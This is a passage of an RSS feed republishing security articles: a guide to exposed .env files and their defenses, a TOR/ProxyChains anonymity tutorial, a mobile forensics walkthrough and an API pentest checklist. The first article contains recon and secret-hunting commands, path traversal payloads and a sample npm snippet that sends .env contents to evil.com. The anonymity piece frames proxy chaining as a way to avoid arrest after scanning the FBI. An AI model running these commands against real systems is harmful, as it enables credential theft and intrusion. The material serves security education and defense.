Recursive discovery with feroxbusterferoxbuster -u https://target.com \  -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt \  -x env,txt,bak,old,swp,save,conf,config \  --depth 3 \  --silentPhase 3: Advanced GitHub&nbsp;Dorking# Automated GitHub dorking with gitdorkergitdorker -q target.com -tf ./tf/ -d ./Dorks/Alldorks.ndjson -o output# Manual targeted dorkssite:github.com target.com filename:.envsite:github.com target.com &quot;DB_PASSWORD&quot;site:github.com target.com &quot;sk_live_&quot; &quot;Stripe&quot;site:github.com target.com &quot;AKIA&quot; &quot;AWS&quot;site:github.com &quot;target&quot; filename:&quot;.env&quot; &quot;APP_KEY&quot;Phase 4: Source Map Enumeration# Check for source maps on live targetscat live_hosts.txt | while read url; do  # Try common source map locations  curl -s -o /dev/null -w &quot;%{http_code}&quot; &quot;$url/assets/js/app.js.map&quot;  curl -s -o /dev/null -w &quot;%{http_code}&quot; &quot;$url/static/js/main.js.map&quot;  curl -s -o /dev/null -w &quot;%{http_code}&quot; &quot;$url/build/static/js/main.js.map&quot;done# Reconstruct and grep for secretssourcemapper -url https://target.com/js/app.js.map -output ./recon/grep -rni &quot;sk_live\|AKIA\|password\|secret\|token&quot; ./recon/Phase 5: Directory Traversal TestingSometimes&nbsp;.env files are not at the root but accessible through path traversal:# Path traversal payloadsffuf -u https://target.com/page.php?file=FUZZ \  -w traversal_wordlist.txt# Common traversal wordlist entries../../../.env..%252f..%252f..%252f.env....//....//....//.env..\;../..\;../.env/static/../../../.envPart IV: The Expanded Attack Surface Beyond&nbsp;.envSource MapsSource maps (.map files) are JavaScript&#039;s hidden tell-all. They reconstruct minified code back to the original source, complete with comments, function names, and file structure.What source maps can&nbsp;reveal:Original source code and business&nbsp;logicDeveloper comments (TODOs, FIXMEs, known&nbsp;bugs)Internal API endpoints and admin&nbsp;panelsHardcoded credentialsThird-party integration detailsEnvironment variable expectations# Check for common source map locationscurl -si https://target.com/static/js/main.abc123.js.mapcurl -si https://target.com/assets/js/app.js.mapcurl -si https://target.com/build/js/bundle.js.map# Parse source maps for secrets (Node.js)npm install -g source-map-clicurl -s https://target.com/js/app.js.map | source-map --raw | grep -E &#039;key|token|secret|password&#039;Exposed&nbsp;.git DirectoriesThe&nbsp;.git directory is perhaps the most dangerous exposure because it contains the entire history of the&nbsp;project.Tools for&nbsp;.git exploitation:# git-dumper - downloads entire .git repogit-dumper https://target.com/.git/ ./downloaded_repo/# GitTools - extract from exposed .gitgit clone https://github.com/internetwache/GitToolscd GitTools/Dumper./gitdumper.sh https://target.com/.git/ ./repo/cd GitTools/Extractor./extractor.sh ./repo/ ./extracted/# Search entire Git history for secretscd extractedgit log --all -p | grep -E &#039;(password|secret|key|token|AKIA|sk_live)&#039;git log --all --diff-filter=D --summary | grep delete  # Find deleted filesBackup FilesDevelopers frequently create backup files during maintenance:# Common backup file extensions.bak, .old, .orig, .copy, .tmp, .swp, .swo, .save, ~ (tilde)# Fuzzing for backup filesffuf -u https://target.com/FUZZ \  -w backup_wordlist.txt# Example wordlist entriesconfig.php.bak.env.bakdatabase.php.oldwp-config.php~index.php.swp.env.saveConfiguration FilesBeyond&nbsp;.env, other config files often contain&nbsp;secrets:# Common config files to huntconfig.jsonconfig.phpconfig.jssettings.pyapplication.propertiesapplication.ymldatabase.ymlcredentials.jsonservice-account.jsonwp-config.phpPart V: The Supply Chain Angle &mdash; Malicious DependenciesMalicious packages actively hunt for&nbsp;.env files during installation. Since npm install (and pip install, gem install, etc.) can execute arbitrary code, a compromised dependency can:// Malicious package.js (hypothetical but based on real incidents)const fs = require(&#039;fs&#039;);const https = require(&#039;https&#039;);// Read .env fileconst envContent = fs.readFileSync(&#039;.env&#039;, &#039;utf8&#039;);// Exfiltrate to attacker serverhttps.get(`https://evil.com/exfil?data=${Buffer.from(envContent).toString(&#039;base64&#039;)}`);Real incidents:Shai-Hulud NPM worm &mdash; Designed to hunt and exfiltrate NPM and GitHub tokens at&nbsp;scale@ctrl/tinycolor compromise (2.2M weekly downloads) &mdash; Attackers weaponized TruffleHog itself as a payload to find and exfiltrate secretsnode-ipc supply chain attack &mdash; Malicious versions published to target specific developersCursor AI editor incident (2024) &mdash; .env file contents were being sent to servers for tab completion, even when files were listed in&nbsp;.cursorignorePart VI: Defense in Depth &mdash; How to Protect Against&nbsp;.env&nbsp;ExposureImmediate RemediationBlock hidden files at the server&nbsp;level# Apache    Require all denied# Nginxlocation ~ /\.(?!well-known) {    deny all;    return 404;}// IIS                                                                2. Remove&nbsp;.env from web-accessible directories -- Move it outside the document&nbsp;root.3. Implement CSP headers to restrict where scripts can load&nbsp;from.4. Disable source maps in production builds:// webpack.config.jsmodule.exports = {  // ...  devtool: process.env.NODE_ENV === &#039;production&#039; ? false : &#039;source-map&#039;,};// vite.config.jsexport default defineConfig({  build: {    sourcemap: process.env.NODE_ENV !== &#039;production&#039;,  },});// next.config.jsmodule.exports = {  productionBrowserSourceMaps: false,};PreventionUse a secrets manager &mdash; HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, GCP Secret&nbsp;ManagerImplement&nbsp;.gitignore correctly and audit with git-secrets or trufflehogUse pre-commit hooks to scan for&nbsp;secrets:# .pre-commit-config.yamlrepos:  - repo: https://github.com/awslabs/git-secrets    rev: master    hooks:      - id: git-secrets4. Rotate secrets regularly &mdash; If a&nbsp;.env file might have been exposed, rotate every credential in it immediately.5. Scanner automation &mdash; Integrate secret scanning into CI/CD pipelines:# TruffleHog scan in CItrufflehog filesystem --directory=. --json | jq &#039;.&#039;6. Use ephemeral credentials &mdash; Short-lived tokens (IAM roles, OAuth2 token exchange) instead of long-lived API&nbsp;keys.DetectionMonitor for /.env requests in access&nbsp;logsUse automated scanners like shhgit, trufflehog, git-secretsDeploy canary tokens &mdash; Fake credentials placed in&nbsp;.env files that alert when&nbsp;usedPart VII: The 2026 Vibe Coding&nbsp;ProblemThe rise of AI-assisted development &mdash; &ldquo;vibe coding&rdquo; &mdash; has introduced a new dimension to the&nbsp;.env crisis. Research from 2026 shows that AI-generated code frequently makes mistakes that expose&nbsp;secrets:Hallucinated dependencies &mdash; AI tools generate package.json files with packages that do not exist in the registry, creating opportunities for typosquatting attacksHardcoded credentials &mdash; AI models trained on public code learn the pattern of hardcoding secrets and reproduce itSource maps left enabled &mdash; Default build configurations generated by AI often leave source maps enabled for productionMissing server blocks &mdash; AI-generated deployment configs rarely include rules to block hidden&nbsp;filesThe fix: Treat AI-generated code as untrusted input. Audit every file for secrets before deployment. Use automated scanners in&nbsp;CI/CD.ReferencesUnit 42 &mdash; Large-Scale Cloud Extortion Operation via Exposed&nbsp;.env&nbsp;FilesSecurity Affairs &mdash; 12 Million Exposed&nbsp;.env&nbsp;FilesSnyk 2025 State of Secrets &mdash; 28M Credentials Leaked on&nbsp;GitHubSentry Security Blog &mdash; Abusing Exposed SourcemapsMogwai Labs &mdash; Exploiting Laravel with Leaked&nbsp;APP_KEYsOWASP &mdash; Review Web Page Content for Information LeakageGitHub Dorking &mdash; techgaun/github-dorksInvicti &mdash; Dotenv&nbsp;.env File VulnerabilityVibe Eval 2026 &mdash; Frontend Secrets Leak&nbsp;ReportFollow MeGitHub: SecurityTalent | Medium: Security Talent | Twitter: Securi3yTalent | Facebook: Securi3ytalent | Telegram: Securi3yTalent#CyberSecurity #BugBounty #BugBountyHunter #EthicalHacking #InfoSec #WebSecurity #ApplicationSecurity #AppSec #CloudSecurity #FrontendSecurity #WebDevelopment #JavaScript #ReactJS #Laravel #NodeJS #DevSecOps #OWASP #SecretsManagement #GitHub #GitHubDorks #SourceMaps #EnvFiles #SecurityResearch #PenetrationTesting #RedTeam #BlueTeam #CloudComputing #AWS #Azure #GoogleCloud #VibeCoding #AI #SecureCoding #DeveloperSecurity #TechBlog #ProgrammingFrontend Security &amp; Bug Hunting: The .env File Crisis and Real-World Exploitation was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story. ]]></description>
<link>https://tsecurity.de/de/3571868/IT+Sicherheit/Hacker/Frontend+Security+%26amp%3B+Bug+Hunting%3A+The+.env+File+Crisis+and+Real-World+Exploitation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571868/IT+Sicherheit/Hacker/Frontend+Security+%26amp%3B+Bug+Hunting%3A+The+.env+File+Crisis+and+Real-World+Exploitation/</guid>
<pubDate>Thu, 04 Jun 2026 10:15:57 +0200</pubDate>
</item>
<item> 
<title><![CDATA[The Ultimate Guide to Stay Hidden Online: TOR and Proxy Chaining]]></title> 
<description><![CDATA[The Tale of Three Brothers (Harry Potter and The Deathly&nbsp;Hallows)Hi, it&rsquo;s me again. I&rsquo;ve been superbly busy with college since this is my final year as a university student. I need to pass two more thesis presentations until it&rsquo;s done, but I am kind of missing writing in Medium, so here I am before my page turns into spiderwebs. As a student, I met a lot of people here. The Math prodigy, computer freak, or that one friend who actively joins every organization they possibly can. For me, I&rsquo;m definitely none of them. If I can portray myself, I am probably one of your friends who like to sit in the back of the class and read memes, totally invisible *LMAO.Well, are you a Potterhead? If you know the Tale of Three Brothers, you probably could guess that the younger brother is my favorite. The three brothers seek to cheat death and are granted magical objects. The first brother receives the Elder Wand, the second the Resurrection Stone, and the third the Cloak of Invisibility. The Elder Wand is said to be unbeatable in a duel, the Resurrection Stone can bring back the dead, and the Cloak of Invisibility makes the wearer invisible. However, the objects ultimately lead to the downfall of the brothers due to their greed and arrogance.In the internet world, having the elder wand and the resurrection stone is dope but the more important thing you need to consider is how to be hidden as if you wear the invisibility cloak. The Internet you saw is nothing but an iceberg, the more you go deeper, the darker it gets. By staying hidden, you reduce the risk of being tracked by law enforcement or hackers who might want to steal your personal information or use your device for illegal purposes. To reach that certain anonymity level, I&rsquo;ll show you how to wear the cloak &mdash; I mean utilizing the TOR and proxy&nbsp;chains.The ConceptOkay let&#039;s begin with the concept, said you are a hacker, and you want to scan the FBI website (strictly not recommended *LOL). You got some information about the FBI systems by running several commands on your computer. The open ports, the operating systems used by the FBI, the service that runs on their system, literally everything. You could utilize that and exploit the vulnerability of the system even to penetrate in. Then a few hours later the police knocked on your door and said that you are under arrest. Well, how that could possibly&nbsp;happen?Well by the time you scan the FBI website and gain several information about them, they also learn a few things about you. The scan that you sent to them has a FROM address. Only by analyzing the logs, they&rsquo;ll know immediately your IP address and then track you down in Canada. Simple as that. But don&rsquo;t worry I&rsquo;m not going to ruin the fun, below is the answer, yup ProxyChains. ProxyChains could help you to run applications through a proxy server, which can help to hide your IP address and encrypt your internet traffic. However, ProxyChains alone does not provide anonymity on the internet. To achieve anonymity, we need a combination of ProxyChains and&nbsp;Tor.Why do we need a lot of proxy servers? Well, personally I do not believe in things such as perfect anonymity, when you use only one proxy server, and your target knows that the IP address belongs to that proxy server, they can contact the provider asking for logs and boom you got caught. Using many proxy servers also did not guarantee that you wouldn&rsquo;t get caught, but at least, that simple brainfuck game will make you a bit harder to&nbsp;find.The InstallationBefore I do the installation, I&rsquo;ll make it clear that I myself do not promote any illegal activities by sharing this. I&rsquo;m consciously writing this speaking on ethical hacking matters. Okay, the first thing you need to know is that ProxyChains comes preinstalled in Kali Linux, so now we just need to install the Tor&nbsp;service.sudo apt install torIf the TOR is successfully installed, we need to activate the service with the command&nbsp;below.sudo service tor startNow you need to locate where exactly the configuration file is needed to set up the ProxyChains on our computer. Just like in Harry Potter where you could use the accio spell, we&rsquo;ll use the locate here. Hit the command&nbsp;below.locate proxychainsNow you know the configuration file, I need you to open that using the command below and we&rsquo;ll see what we can do&nbsp;next.sudo nano /etc/proxychains4.confOkay, there are four options of ProxyList that we can utilize. There are Dynamic Chain, Strict Chain, Round Robin Chain and also Random Chain. The choice between strict, dynamic, random, or round-robin in ProxyChains depends on the specific needs and requirements of the user. Each method has its own advantages and disadvantages. Below you could see that strict_chain is coloured with white. That is because it comes to default. If you want to change the option, just uncommented the configuration using the &ldquo;#&rdquo;&nbsp;sign.Because we can only choose one and I want to use the round-robin chain, I put the &ldquo;#&rdquo; sign in strict_chain and delete the &ldquo;#&rdquo; sign in round_robin_chain to activate&nbsp;it.Well, for the last touch put the &ldquo;socks5 127.0.0.1 9050&rdquo; entry at the end of the file to specify the local SOCKS proxy server and port that ProxyChains will use to forward the traffic. Port 9050 is the default port that the Tor client software listens on for incoming SOCKS5 connections. Why do we need the SOCKS5 when we already got the SOCKS4? SOCKS5 is generally considered to be more secure than SOCKS4, as it supports authentication and can encrypt the traffic between the client and the proxy server. If you are done, just save the configuration file by pressing the CTRL button and X at the same&nbsp;time.The moment of truth, now you can use the ProxyChains to hide yourself. Here I try to access the browser &mdash; Firefox and do the DNS leak&nbsp;test.Below is the IP address that I got, and I suppose my location. Currently, I&rsquo;m not in Vienna and ProxyChains will keep changing my IP Address and also the location for the next few times. You can add your own configuration by adding a free IP that you obtain from free Proxy Servers available online. You can make them guess where actually your location is, imagine someone searching for you on the other side of the world and finding nothing. It can be quite frustrating, mate:&rdquo;))ConclusionGood luck finding me in Vienna &mdash; cheerio&nbsp;🤙The Ultimate Guide to Stay Hidden Online: TOR and Proxy Chaining was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story. ]]></description>
<link>https://tsecurity.de/de/3571867/IT+Sicherheit/Hacker/The+Ultimate+Guide+to+Stay+Hidden+Online%3A+TOR+and+Proxy+Chaining/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571867/IT+Sicherheit/Hacker/The+Ultimate+Guide+to+Stay+Hidden+Online%3A+TOR+and+Proxy+Chaining/</guid>
<pubDate>Thu, 04 Jun 2026 10:16:06 +0200</pubDate>
</item>
<item> 
<title><![CDATA[“Bug Bounty Bootcamp #42: JWT Attacks — How a Stolen Token or a Weak Secret Can Grant You Admin…]]></title> 
<description><![CDATA[JSON Web Tokens are everywhere &mdash; in cookies, Authorization headers, and API calls.Continue reading on InfoSec Write-ups &raquo; ]]></description>
<link>https://tsecurity.de/de/3571866/IT+Sicherheit/Hacker/%E2%80%9CBug+Bounty+Bootcamp+%2342%3A+JWT+Attacks+%E2%80%94+How+a+Stolen+Token+or+a+Weak+Secret+Can+Grant+You+Admin%E2%80%A6/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571866/IT+Sicherheit/Hacker/%E2%80%9CBug+Bounty+Bootcamp+%2342%3A+JWT+Attacks+%E2%80%94+How+a+Stolen+Token+or+a+Weak+Secret+Can+Grant+You+Admin%E2%80%A6/</guid>
<pubDate>Thu, 04 Jun 2026 10:16:17 +0200</pubDate>
</item>
<item> 
<title><![CDATA[I Finished My Thesis Defense — A Journey to Mobile Forensic]]></title> 
<description><![CDATA[I Finished My Thesis Defense &mdash; A Journey to Mobile&nbsp;ForensicThomas Shelby and May&nbsp;CarletonIf there is an award for making things complicated, I&rsquo;d probably be the winner. The ultimate rule to graduate from uni is to do research that most likely you&rsquo;ll be compatible with. Sure, I knew the theory, but I don&#039;t know why &mdash; and in every aspect, I always ended up doing the complete opposite&nbsp;*duh.Instead of doing research in the field of mobile forensics and choosing to do what I thought I was capable of doing, I improvised &mdash; a lot. I try to implement a model and it&rsquo;s a kind of mixture of semantic web and mobile forensics. You know, I spent my holiday crying because I felt so dumb that I was incapable of understanding the idea that I wanted to bring. Guess what? Through hardship, patience, determination, and revelation from God who sent me a humble yet very chill supervisor who always encouraged me to finish my work, I finally did&nbsp;it.You know what, sometimes it&rsquo;s not the situation that going to kill you, but panic will. I was worried that I couldn&rsquo;t do my thesis, but after I did it, I was more worried that my work was too simple to be presented for my thesis defense (it&rsquo;s not that simple af girl you are joking writing this). Guess I just spent my time overthinking things and got panicked when everything is actually negotiable and under control hahaha my bad. I&rsquo;ll talk about my thesis later, now I want to show you how to do basic mobile forensics most people do in digital forensics investigation. I think you&rsquo;re going to like it even though I thought it boring by&nbsp;now.PrerequisitesLet me inform you that we need some equipment and tools to do this&nbsp;process.Mobile PhoneGet yourself a phone, it&rsquo;s up to you whether you want to use an iPhone, smartphone, or that indestructible N*kia 3310 *LOL. I bought an Android specifically for my thesis but since there are some problems on my campus, by the time I wrote this article, our phones were still seized by authorities. I know shit happens and c&rsquo;est la vie but never mind, I&rsquo;ll use a virtual phone emulated by GenyMotion App for this tutorial, so I&rsquo;m sorry if you cannot&nbsp;relate.2. Platform&nbsp;ToolsOkay, now you need to download the tool at this address, I&rsquo;ll inform you later what the function is. Download based on the operating system that you used, Mac, Linux or maybe Windows? https://developer.android.com/tools/releases/platform-tools3. AutopsySame with the Platform Tools, choose what suits best with your operating system, and I&rsquo;ll tell you about the function later. Here https://www.autopsy.com/download/4. BusyboxI need to inform you that I&rsquo;m going to use the Physical Acquisition method for the acquisition process, so it requires us to root the phone (don&rsquo;t do this if you don&rsquo;t want to lose your phone&rsquo;s warranty and make it vulnerable to security issues). Well, for the rooting process, we&rsquo;ll definitely need Busybox. Mine uses Busybox Pro, but you can download the tool via PlayStore.5. Ncat and USB&nbsp;cableCause we&rsquo;re going to do the mobile forensic process on our laptop, or should we call it a forensic workstation, we still need to connect them to our phone. For this case, a USB cable is particularly not needed to connect the phone to our laptop since I use a virtual phone, but the Ncat tool is a must since it helps us to build a connection between the two devices. Here downloads the tool at this address https://nmap.org/ncat/The StepsMobile device forensics is the science of recovering digital evidence from a mobile device under forensically sound conditions using accepted methods. Digital forensics investigation is kind of a tricky process to do because any mistake we make during the process could make the digital evidence presented to the court invalid. So doing this process requires discipline. The standard usually used for mobile forensics is NIST SP 800&ndash;101 Revision 1. That standard divided the forensics process into four phases, they are preservation, acquisition, examination and analysis, and the last reporting of digital evidence.PreservationNIST SP-800&ndash;101 Rev 1 stated that evidence preservation is the process of securely maintaining custody of property without altering or changing the contents of data that reside on devices and removable media. Preservation involves searching, recognizing, documenting, and collecting electronic-based evidence. When we use the actual mobile phone, the process consists of documenting the condition of the devices, like taking a photo of the evidence, front, behind, and also the battery capacity.Also, the steps that need to be done are enabling airplane mode and then turning off the cellular data and Wi-Fi. We need to do that to make sure that there is no signal exchange in our device that may modify the current state of the data stored on the mobile device. Most of the time Faraday bag is used in isolation to shield the evidence from external signals. Also, we need to disable the GPS to maintain the integrity of location-related evidence. If GPS is active, it may continue to collect and update location information, potentially altering the data relevant to the time of the incident under investigation. By turning it off, you freeze the GPS data at a specific point in&nbsp;time.AcquisitionAfter doing the preservation step, be ready for the acquisition process. Acquisition is needed since you cannot directly be involved with the evidence, this method helps to maintain a digital chain of custody, which is essential for ensuring that the evidence is admissible in court. It demonstrates that the evidence hasn&rsquo;t been tampered with or altered during the investigation process. So, in short, you need to duplicate, copy or image the evidence in this&nbsp;step.As I mentioned before, I&rsquo;ll do the physical acquisition. Physical acquisition itself refers to the process of directly accessing and copying data from a mobile device&#039;s physical storage, this method involves creating a bit-by-bit copy or image of the device&rsquo;s storage, including both user data and system files, at a low-level, binary level,&nbsp;etc.Previously I asked you to download Busybox, now time to install it on your phone. Busybox has utilities called &lsquo;dd&rsquo; (used for low-level copying of data) that will help us in creating disk images for forensic analysis.Below, on the left side, you see that I haven&rsquo;t installed Busybox on the phone. I just keep the setting into default then click the Install button and let the app do its work. Now move to your phone or in my case the virtual phone. Before you can do the physical acquisition, you need to do some settings on your phone to make sure that the device is granted access to debugging interfaces. Find the &ldquo;About phone&rdquo; part on your phone then search for the Build number, click that around 7&ndash;8 times until it states that the developer mode has been&nbsp;enabled.,Great, if the developer options have been activated you can go to Settings and click that part. Look at the right picture, in the Developer options go find Debugging options then mark the USB debugging part to allow USB debugging.We&rsquo;ve done it here, it&rsquo;s not a rooting process, it&rsquo;s just a basic setting to help the device connect with the forensic workstation. You can do physical acquisition without rooting the phone if the phone that you used is a virtual phone, like mine. When it comes to actual phones, believe me, mate the process is kind of complicated. I failed like 5 times only to do the rooting things, tired but this gal has&nbsp;goals.Now it&rsquo;s the game changer, remember I asked you to download the platform tools, eh? Now open it via Command Prompt and run the adb.exe using this command&nbsp;below.adb.exe devicesBelow on the right side is the virtual phone opened by the Genymotion app. The command above is used to check whether the device is connected to the forensic workstation or not. You see on the left side below that the IP address I got from my virtual phone already appears, meaning the device is already connected to my&nbsp;laptop.The platform tools I mentioned before contain the adb.exe that we previously ran to our terminal, but also the Genymotion app. It provides the adb.exe to let the virtual phone communicate with the&nbsp;laptop.Now we&rsquo;ll start to do imaging. First, allow the superuser access to the phone so that we can be root. Then open the adb.exe shell in Genymotion via the command prompt. Search the file &ldquo;tools&rdquo; first in Genymotion, you can track that through the path on my computer. Mine is C:\Program Files\Genymobile\Genymotion\tools&nbsp;. When you finish, you can run the command below to display the partition information of the phone. The part in the red square is the internal storage that we&rsquo;re going to image, it&rsquo;s around 5&nbsp;GB.cat /proc/partitionsNow open both terminals, the adb shell from platform tools and also from the Genymotions, but before that make sure you already installed the Ncat tools on the laptop. Okay, keep in mind that to make it easy for you, from now on I&rsquo;ll place the adb shell from the Platform Tools on the left side and the adb shell from Genymotions is on the right&nbsp;side.Before we can do the imaging or extract data from a mobile phone to our forensic workstation, we have to make the two devices listen to each other, just like what they&rsquo;ve said mate &mdash; communication is key. Port forwarding can facilitate this communication and make the extraction possible, so please hit the command&nbsp;below.adb forward tcp:8888 tcp:8888When the connection is successful, it will reply back with &ldquo;8888&rdquo; which is the number of ports that we choose to route traffic. Now move to the right side, the command dd will help us to read data from the /dev/block/sdb device file (from the phone) and then send that data over the network to another device listening on port 8888 (the laptop) using ncor&nbsp;Ncat.dd if=/dev/block/sdb | busybox nc -l -p 8888Back to the left side, hit the command below to capture data from the network connection and save the output to a file for further analysis or processing. The output literally will be an imaging file with the&nbsp;.dd format and for this file, I give it a name callitatest.dd.ncat.exe 127.0.0.1 8888 &gt; youcannameitasyoudesired.ddThe output will be saved in the same directory where you place the platform-tools. Wait patiently as you watch the sign mark in the red square keep blinking. The imaging process will take time depending on the storage capacity of your phone, it gradually increases from KB to GB as you see in the right&nbsp;picture.Well, well, well, see the left picture the process is done and as you can see the&nbsp;.dd file size is definitely around 5 GB just like I mentioned the virtual phone storage capacity from the beginning. Also, when the process is done, you&rsquo;ll see the notification in the Genymobile&rsquo;s CMD just like in the right&nbsp;picture.Examination and&nbsp;AnalysisThe examination process uncovers digital evidence, including that which may be hidden or obscured. The results are gained through applying established scientifically based methods and should describe the content and state of the data fully, including the source and the potential significance. Data reduction, separating relevant from irrelevant information, occurs once the data is&nbsp;exposed.The analysis process differs from the examination in that it looks at the results of the examination for its direct significance and probative value to the case. Examination is a technical process that is the province of a forensic specialist. However, analysis may be done by roles other than a specialist, such as the investigator or the forensic examiner.We&rsquo;ll use Autopsy to do the examination and analysis. Yeah, all your sins will be revealed here. First, open the Autopsy and make a New&nbsp;Case.Give the case a name, like mine is Case1. After you finish just click the Next&nbsp;part.Just keep clicking Next until you find this part. In this part, you need to browse the&nbsp;.dd file that we acquired in the acquisition phase before. After done, just keep clicking&nbsp;Next.We need to configure the Ingest module here, please click Select All. The Ingest module is used to bring data from various sources into the Autopsy case management system. It helps with data acquisition, verification, and indexing, and allows for easy management and analysis of digital evidence within a case. It&rsquo;s a critical component for forensic investigations, ensuring data integrity and efficiency in the analysis&nbsp;process.Keep clicking Next until the display looks like the picture below. Before you can do the examination and analysis, you&rsquo;ll need to wait for the configuration until&nbsp;100%.When it&rsquo;s already 100%, you can start doing the examination and analysis now. The process involves examining specific artefacts such as chat messages, call logs, GPS data, and other information relevant to your investigation. Also export any relevant data, and findings, or validate the analysis results by confirming that the findings are consistent with your expectations and that your analysis was conducted accurately.ReportingReporting involves creating a comprehensive overview of the investigation process, including the actions taken and findings. Effective reporting relies on thorough documentation of activities, observations, test results, and data interpretations. A well-crafted report is built upon robust records, notes, images, and data generated by tools. I&rsquo;m not going to put the reports here because it will be too long, so don&rsquo;t mind checking the NIST SP 800&ndash;101 Revision 1 document for the format and standard.ConclusionWhoever is struggling with the thesis, I feel you. With&nbsp;love&hellip;Reference[1] Ayers, R., Brothers, S., &amp; Jansen, W. Guidelines on Mobile Device Forensics. Retrieved October 25, 2023, from https://nvlpubs.nist.gov/nistpubs/specialpublications/nist.sp.800-101r1.pdfI Finished My Thesis Defense &mdash; A Journey to Mobile Forensic was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story. ]]></description>
<link>https://tsecurity.de/de/3571865/IT+Sicherheit/Hacker/I+Finished+My+Thesis+Defense%E2%80%8A%E2%80%94%E2%80%8AA+Journey+to+Mobile+Forensic/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571865/IT+Sicherheit/Hacker/I+Finished+My+Thesis+Defense%E2%80%8A%E2%80%94%E2%80%8AA+Journey+to+Mobile+Forensic/</guid>
<pubDate>Thu, 04 Jun 2026 10:16:28 +0200</pubDate>
</item>
<item> 
<title><![CDATA[API Penetration Testing Checklist: How Real-World Attacks Break APIs Before Scanners Do]]></title> 
<description><![CDATA[How Real-World Attacks Break APIs Before Scanners&nbsp;DoAPIs are the backbone of modern applications: powering mobile banking, e-commerce, healthcare systems, AI integrations, and microservices.Today, APIs handle over 90% of global web traffic, yet they remain one of the most exploited attack surfaces in modern security incidents.High-profile breaches like T-Mobile (37M records exposed) and Optus (9.8M records leaked) were not caused by advanced exploits: but by simple broken authorization and exposed API&nbsp;logic.And in both cases, automated scanners failed.Because API security failures are rarely technical bugs.They are logic flaws in how systems define trust, identity, and&nbsp;access.Why APIs Break in Real&nbsp;WorldAPIs fail&nbsp;because:Business logic is exposed directly through endpointsAuthorization is weaker than authenticationAPIs evolve faster than security&nbsp;testingAttackers test workflows, not just&nbsp;inputsScanners detect vulnerabilities. Attackers exploit behavior.Black Box vs Grey Box&nbsp;TestingBlack BoxNo internal access-only:Base URL or applicationSwagger (sometimes)Mobile app (sometimes)Focus:Endpoint discovery (fuzzing)Traffic interception (Burp/ZAP)Shadow API detectionCommon findings:/admin/internal/debug/v2, /betaGrey BoxPartial access:Postman collectionsAPI documentationArchitecture insightsEnables deeper testing&nbsp;of:Authorization logicToken flowsBusiness workflowsAPI Recon (Attack Surface&nbsp;Mapping)1. Endpoint&nbsp;FuzzingTest:/api/v1/users/api/v2/users/internal/users2. HTTP Method&nbsp;TestingCheck:GET, POST, PUT, DELETE, PATCH,&nbsp;OPTIONS3. Shadow&nbsp;APIsHidden or forgotten APIs&nbsp;in:legacy systemsmobile backendsinternal services exposed externally4. Version EnumerationTest:/v1//v2//beta/Older versions often lack proper security controls.Authentication &amp; Identity&nbsp;TestingCommon FailuresWeak login protection (no lockout /&nbsp;CAPTCHA)User enumeration via error&nbsp;messagesExpired tokens still&nbsp;validAPI keys exposed or&nbsp;reusedSensitive data in&nbsp;URLsExample:GET /reset?token=abc123JWT Security&nbsp;TestingKey Checksalg: none&nbsp;bypassWeak HS256 secrets (brute&nbsp;force)Missing token expiration validationSensitive data in JWT&nbsp;payloadJWT is base64 encoded, not encrypted.Authorization Testing (Critical Layer)1. BOLA /&nbsp;IDORChange object references:/user/123 &rarr; /user/456If accessible &rarr; data exposure.2. BFLA (Function-Level Access)Test admin actions as normal&nbsp;user:deleteupdateprivileged endpoints3. Privilege EscalationCheck for:role manipulation in request&nbsp;bodymass assignment flawshidden admin parametersExample:{&quot;role&quot;: &quot;admin&quot;}Input Validation &amp; InjectionTest for:SQL / NoSQL injectioncommand injectionmalformed JSON&nbsp;payloadsunexpected data&nbsp;typesAPIs often trust frontend validation -which is&nbsp;unsafe.Business Logic Vulnerabilities (High&nbsp;Impact)1. Pricing Manipulationnegative valuesdiscount abuseprice tampering2. Workflow&nbsp;Abuseskipping payment&nbsp;stepsreplaying requestsout-of-order operations3. Inventory Manipulationrace conditionscart abusestock exhaustion4. Account&nbsp;Abuserole escalation via hidden&nbsp;fieldsmass assignment issuesRate Limiting &amp;&nbsp;AbuseTest for:brute force&nbsp;attacksOTP guessingAPI scrapingunlimited requestsBypass TechniquesIP rotationheader spoofing (X-Forwarded-For)parallel requestsData Exposure&nbsp;IssuesCheck for:PII leaks (email, phone,&nbsp;address)internal IDs&nbsp;exposedpassword hashes in responsesexcessive response&nbsp;dataIf response is &ldquo;too detailed&rdquo;, it&rsquo;s a&nbsp;risk.Configuration &amp; MisconfigurationsCommon issues:exposed /debug, /internalCORS set to&nbsp;*missing security&nbsp;headersoutdated API&nbsp;versionssecrets in logs or&nbsp;configsModern API Attack&nbsp;SurfaceGraphQLintrospection enabledquery depth&nbsp;abusebatch requests for brute&nbsp;forceCloud APIspublic S3 / blob&nbsp;storagemisconfigured IAM permissionsexposed storage endpointsFile Upload&nbsp;APIsunrestricted file&nbsp;typesexecutable uploadsbypass validationSSRF in&nbsp;APIsuser-controlled URLsinternal network access via API&nbsp;callsAutomation vs Manual&nbsp;TestingAutomate:baseline security&nbsp;checksauthentication testingregression scansCI/CD integrationKeep Manual&nbsp;for:business logic&nbsp;flawsauthorization bypasscomplex workflowsBest approach = hybrid security&nbsp;testingFinal API Security Checklist (Summary)Every API must be tested&nbsp;for:Authentication &amp; Authorization (BOLA,&nbsp;BFLA)Input validation &amp; injectionBusiness logic&nbsp;abuseRate limitingData exposureConfiguration issuesCloud &amp; GraphQL&nbsp;securityFinal ThoughtAPI security is not about endpoints.It is about how trust is defined: and how it is broken. Most vulnerabilities are not coding errors. They are unvalidated assumptions in business logic. And attackers don&rsquo;t break APIs. They simply use them in ways nobody&nbsp;tested.This concludes my API security series. Next, I&rsquo;ll be exploring Active Directory penetration testing.API Penetration Testing Checklist: How Real-World Attacks Break APIs Before Scanners Do was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story. ]]></description>
<link>https://tsecurity.de/de/3571864/IT+Sicherheit/Hacker/API+Penetration+Testing+Checklist%3A+How+Real-World+Attacks+Break+APIs+Before+Scanners+Do/</link>
